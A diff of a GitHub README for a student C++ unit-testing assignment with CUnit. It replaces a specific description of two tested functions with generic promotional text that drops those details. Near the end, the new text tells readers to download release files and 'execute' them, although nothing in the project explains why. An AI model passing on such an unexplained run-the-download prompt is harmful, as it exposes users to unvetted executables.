|
1 | | -# Software Testing Assignment (C++ + CUnit) |
2 | | - |
3 | | -This project contains two C++ functions tested using: |
4 | | -- ✅ Input Space Partitioning (ISP) |
5 | | -- ✅ Edge Pair Coverage (EPC) |
6 | | -- ✅ Control Flow Graphs (CFG) |
7 | | -- ✅ Automated unit tests via CUnit in Eclipse CDT |
8 | | - |
9 | | -## Functions |
10 | | -1. `cli_set_idle_timeout(int timeout)` |
11 | | -2. `crypto_auth_hmacsha256_update(const char* message, size_t length)` |
12 | | - |
13 | | -## Files |
14 | | -- `cli_set_idle_timeout.cpp` — function + logic |
15 | | -- `test_cli_set_idle_timeout.cpp` — CUnit tests |
16 | | -- `crypto_auth_hmacsha256_update.cpp` — function + logic |
17 | | -- `test_crypto_auth_hmacsha256_update.cpp` — manual test |
18 | | -- `Assignment3.docx` — Full written report |
19 | | -- CFG images included 📊 in report |
20 | | - |
21 | | -## Run Locally |
22 | | -- Requires Eclipse CDT + CUnit |
| 1 | +# SoftwareTesting-Cunit 🛠️ |
| 2 | + |
| 3 | +Welcome to the **SoftwareTesting-Cunit** repository! This project focuses on unit testing in C++ using various techniques such as Input Space Partitioning, Edge Pair Coverage, and Control Flow Graphs. The project utilizes CUnit within the Eclipse IDE, providing a comprehensive framework for functional testing. |
| 4 | + |
| 5 | +[](https://github.com/Jacksonsmg/SoftwareTesting-Cunit/releases) |
| 6 | + |
| 7 | +## Table of Contents |
| 8 | + |
| 9 | +- [Introduction](#introduction) |
| 10 | +- [Features](#features) |
| 11 | +- [Installation](#installation) |
| 12 | +- [Usage](#usage) |
| 13 | +- [Testing Techniques](#testing-techniques) |
| 14 | + - [Input Space Partitioning](#input-space-partitioning) |
| 15 | + - [Edge Pair Coverage](#edge-pair-coverage) |
| 16 | + - [Control Flow Graphs](#control-flow-graphs) |
| 17 | +- [Contributing](#contributing) |
| 18 | +- [License](#license) |
| 19 | +- [Contact](#contact) |
| 20 | + |
| 21 | +## Introduction |
| 22 | + |
| 23 | +Software testing is a crucial part of software development. It ensures that applications work as intended and meet user requirements. This repository serves as a guide and a toolkit for developers looking to implement unit testing in C++. |
| 24 | + |
| 25 | +## Features |
| 26 | + |
| 27 | +- **C++ Unit Testing**: Built on the CUnit framework for efficient unit testing. |
| 28 | +- **Input Space Partitioning**: Divide input data into partitions to minimize test cases while maximizing coverage. |
| 29 | +- **Edge Pair Coverage**: Enhance testing by ensuring all pairs of edges in the control flow graph are executed. |
| 30 | +- **Control Flow Graphs**: Visualize and analyze the flow of control in your code. |
| 31 | +- **Eclipse Integration**: Set up and run tests seamlessly within the Eclipse IDE. |
| 32 | + |
| 33 | +## Installation |
| 34 | + |
| 35 | +To get started with this project, follow these steps: |
| 36 | + |
| 37 | +1. **Clone the Repository**: |
| 38 | + ```bash |
| 39 | + git clone https://github.com/Jacksonsmg/SoftwareTesting-Cunit.git |
| 40 | + ``` |
| 41 | + |
| 42 | +2. **Open Eclipse**: |
| 43 | + Launch the Eclipse IDE and import the cloned project. |
| 44 | + |
| 45 | +3. **Install CUnit**: |
| 46 | + Ensure you have CUnit installed. You can download it from [CUnit's official site](http://cunit.sourceforge.net/). |
| 47 | + |
| 48 | +4. **Configure Build Path**: |
| 49 | + Set up the project’s build path to include CUnit libraries. |
| 50 | + |
| 51 | +5. **Run Tests**: |
| 52 | + You can run tests directly from Eclipse after configuration. |
| 53 | + |
| 54 | +## Usage |
| 55 | + |
| 56 | +After setting up the project, you can start writing your test cases. The structure is designed to facilitate easy addition and modification of tests. |
| 57 | + |
| 58 | +1. **Create Test Cases**: |
| 59 | + Use the provided templates to create new test cases. Ensure you cover various input scenarios. |
| 60 | + |
| 61 | +2. **Run Tests**: |
| 62 | + Execute your tests within Eclipse. Check the console for results. |
| 63 | + |
| 64 | +3. **Review Results**: |
| 65 | + Analyze the output to identify any failures or issues. |
| 66 | + |
| 67 | +## Testing Techniques |
| 68 | + |
| 69 | +### Input Space Partitioning |
| 70 | + |
| 71 | +Input Space Partitioning (ISP) helps reduce the number of test cases while maintaining coverage. By dividing inputs into valid and invalid partitions, you can select representative test cases from each. |
| 72 | + |
| 73 | +- **Valid Input**: Test with inputs that the system should accept. |
| 74 | +- **Invalid Input**: Test with inputs that the system should reject. |
| 75 | + |
| 76 | +### Edge Pair Coverage |
| 77 | + |
| 78 | +Edge Pair Coverage ensures that all pairs of edges in the control flow graph are executed. This technique helps identify potential issues in the flow of the program. |
| 79 | + |
| 80 | +- **Benefits**: Improves the likelihood of finding errors related to the flow of execution. |
| 81 | + |
| 82 | +### Control Flow Graphs |
| 83 | + |
| 84 | +Control Flow Graphs (CFG) provide a visual representation of the flow of control within a program. This helps in understanding complex logic and identifying paths that require testing. |
| 85 | + |
| 86 | +- **Nodes**: Represent basic blocks of code. |
| 87 | +- **Edges**: Represent the flow of control between these blocks. |
| 88 | + |
| 89 | +## Contributing |
| 90 | + |
| 91 | +We welcome contributions to enhance this project. Here’s how you can help: |
| 92 | + |
| 93 | +1. **Fork the Repository**: Create your copy of the repository. |
| 94 | +2. **Create a Branch**: Make a new branch for your feature or bug fix. |
| 95 | +3. **Make Changes**: Implement your changes and commit them. |
| 96 | +4. **Submit a Pull Request**: Open a pull request to merge your changes. |
| 97 | + |
| 98 | +## License |
| 99 | + |
| 100 | +This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details. |
| 101 | + |
| 102 | +## Contact |
| 103 | + |
| 104 | +For any inquiries or feedback, please reach out: |
| 105 | + |
| 106 | +- **Author**: Jackson Smith |
| 107 | + |
| 108 | +- **GitHub**: [Jacksonsmg](https://github.com/Jacksonsmg) |
| 109 | + |
| 110 | +## Releases |
| 111 | + |
| 112 | +To access the latest releases, visit our [Releases](https://github.com/Jacksonsmg/SoftwareTesting-Cunit/releases) section. Download the latest version and execute the files as needed. |
| 113 | + |
| 114 | +[](https://github.com/Jacksonsmg/SoftwareTesting-Cunit/releases) |
| 115 | + |
| 116 | +--- |
| 117 | + |
| 118 | +Thank you for checking out **SoftwareTesting-Cunit**! We hope this project aids you in your unit testing endeavors. Happy testing! |
0 commit comments